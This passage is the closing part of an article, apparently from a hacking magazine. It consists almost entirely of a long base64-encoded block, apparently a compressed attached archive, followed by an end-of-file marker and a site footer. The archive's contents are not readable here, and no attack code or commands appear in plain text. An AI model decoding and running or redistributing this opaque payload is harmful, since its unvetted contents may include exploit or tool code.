oUFVROJkOuBzYwMA6wYEgYXTKAximqL47miP7L8lj9+S31+/OySv378ih/tH
L34W1QZDoH9OasCnkQEs9RF8jaj/CV1Q8T33L00nD8+2O/8CEiV2EKIUPcJO
L8/J+yByBztknCThTrMJjRq5RmyEpqL84vi2OwX8HzK5ajq+k4AExZPG+BGZ
q+VMrawC2k/BwFVVxfaYDiprpr4TJ9VVAycCGYEqwHFAh4A6Mc1Xh+azvbfv
9p+S9oMHxfL3h/tv934j7e5msfzF/sEBWd+aA/J079Xbo80u6bS3ZiM83fvV
fIbQtzvbnULp8/2ne6QGRKwpCtg20FJygspZrxf1bldxfJQVzzOD4TCmSa8l
iiI6KBWFzlyJhZMuFfr0rFyE1jUx7fEECwCfaGqLEcT3j8oKtpvG1ghQ4t+d
we5Ks85lH0koTBEym4AosEajfKNnCxrFKajYOgGNWgQrHhWaLYJGU2h0OKR2
4pzQhRDpaK7pIqjDDEkEhkr4269HJAjjXIsU2rP5Fp+BrFbsgShOgIIE26v1
IHJG5sRxXU1F1jEG6qwudkbabr5DHDt/UTPrdBo5CT3RVDbuQBdMcoITapM6
/ALjq3O5mfpJEVJu6BFNBmg3N7uaOvVhTB/IKkASAZMpj8mVB6S7Dt9CnRRa
VwwyZdOZDQPPmoryDc0UJudQaBYlXdVAyLgOxKeOaQ0GUU91wU6RutY6G8IH
3JBtEL5scFY5E+RShaCDmQFD0V4RzVW1nsJO67VVNoq2hmOU+9bVEnBNTevW
OEic2crp2IGJlDqvreHMVpyhiqOW4ZQaCyzYZLVer3VGO9vDbXxAGHn0lwPE
p7OyUqR1T+WELncSc2E9+qCzE/z2WcGfCLgY+bvKZ8FAsGSptWGcy9Cxx+Cp
1TO7b4YJ8JEXaqtZsTAiKfd0Bwp4I2zPWAWaBFKSoNOB6gjrnJM4sGKBeqI9
FH1h/YRF02famlor/mcKazoqJ6ii6gBI52HrbLMFf2cMKWD5wTnu9e7H91dX
S8Vrbaw4rajoYIUFFQiuVLeOdWFFp+6iig2soNXQNrEuus+lIL8cOFXMuoB0
CDNu4BqwNAELuKyBTG6gtgmy4gNSdp1RttfVS627DGWBbKZ0hUa7nBm8zeoq
//uodWaLLUhe9A0xYf601suRgpUDHEDe9kI1lTleqddwyJrGYa2gywiWjbI+
```

```
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
```

```
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
====
```


```
<-->

--[ EOF
```

[News] [Paper Feed] [Issues] [Authors] [Archives] [Contact]